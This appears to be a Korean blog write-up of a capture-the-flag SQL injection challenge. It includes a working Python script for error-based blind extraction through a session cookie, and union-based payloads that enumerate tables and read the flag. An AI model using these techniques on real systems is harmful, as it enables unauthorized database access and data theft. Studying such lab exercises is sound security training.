ctf 풀이 (SQL Injection Point 4)
ctf 문제 풀이
SQL Injection Point 3
SQLI Point
https://almon.tistory.com/47에서 분석했던 기능은 그대로입니다.
2번 문제부터 변경되었던 mypage.php의 쿠키를 사용하는 로직이 돌아왔습니다.
이번에는 sql문이 에러가 날 때 DB Error 메시지가 나오도록 설정이 되어있습니다.
게시글 id를 get 메서드로 요청하여 게시글을 불러오는 페이지는 여전히 sql injection이 가능합니다.
mypage.php
공격 format 만들기
기본 format : tester' and (select 1 union select 2 where (조건문)) and '1' = '1
substring((sql), [index], 1) => sql의 결과를 한 글자 추출합니다.
ascii( substring((sql), [index], 1) ) > [ascii] => 추출한 글자를 ascii 숫자로 변환하여 비교합니다.
완성 format : tester' and (select 1 union select 2 where ( ascii( substring((sql), [index], 1) ) > [ascii] )) and '1' = '1
조건문이 참일 때는 DB error가 출력되고 거짓일 때는 결과가 제대로 출력됩니다.
Python 코드 제작
코드는 https://almon.tistory.com/45와 거의 동일합니다.
SQL_Injection_Point_4.py
import requests
def sqli_request(session, url, session_id, sql, index, ascii):
response = session.get(url=url, cookies={
"user" : f"tester' and (select 1 union select 2 where (ascii(substring(({sql}),{index},1)) > {ascii} )) and '1' = '1",
"PHPSESSID" : session_id,
})
# print(response.text)
if true_message in response.text:
# print("O")
return True
else:
# print("X")
return False
url = "http://ctf2.segfaulthub.com:7777/sqli_9/mypage.php"
login_url = "http://ctf2.segfaulthub.com:7777/sqli_9/login.php"
true_message = "DB Error"
sql_result = ""
session = requests.Session()
response = requests.post(login_url, data={
"id" : "tester",
"pw" : "1234",
}, allow_redirects=False)
# print(response.headers.get("Set-Cookie").split(", ")[1].split(";")[0].replace("PHPSESSID=", ""))
session_id = response.headers.get("Set-Cookie").split(", ")[1].split(";")[0].replace("PHPSESSID=", "")
while True:
sql = input("SQL \u1433 ")
if sqli_request(session, url, session_id, sql, 1, 0):
index = 1
while True:
left = 0
right = 127
if not sqli_request(session, url, session_id, sql, index, 0):
sql_result = ""
print("\n")
break
while True:
mid = (left + right) // 2
result = sqli_request(session, url, session_id, sql, index, mid)
if result:
left = mid+1
else:
right = mid
if left == right:
index += 1
sql_result += chr(left)
print(f"\rData : {sql_result}", end="")
break
else:
print("Fail : ", sql, "\n")
데이터 추출
notice_read.php
게시글 읽기의 경우 게시글의 데이터가 화면에 출력되므로 union sql injection을 시도해 보겠습니다.
column 개수 확인하기
order by를 통해 확인한 column의 개수는 10개입니다.
출력되는 column 자리 확인
삽입 : 154 union select 1,2,3,4,5,6,7,8,9,10 order by 10
2,6,9 자리의 column이 화면에 출력되는 것을 확인할 수 있습니다.
DB 명 출력
삽입 : 154 union select 1,database(),3,4,5,6,7,8,9,10 order by 10
2번째 column에 database()를 이용해 db명을 추출합니다.
db 명 : sqli_9
table 명 추출
삽입 : 154 union select 1,(select table_name from information_schema.tables
where table_schema=(database())),3,4,5,6,7,8,9,10 order by 10
'가 필터링 되기 때문에 '를 사용하지 않고 sql문을 삽입해야 합니다.
table 명 : board,flagHere,member
column 명 추출
삽입 : 154 union select 1,(select column_name from information_schema.columns
where table_schema=(database())
and table_name=(select table_name from information_schema.tables
where table_schema=(database()) limit 1,1)
)
,3,4,5,6,7,8,9,10 order by 10
데이터 추출
삽입 : 154 union select 1,(select flag from flagHere),3,4,5,6,7,8,9,10 order by 10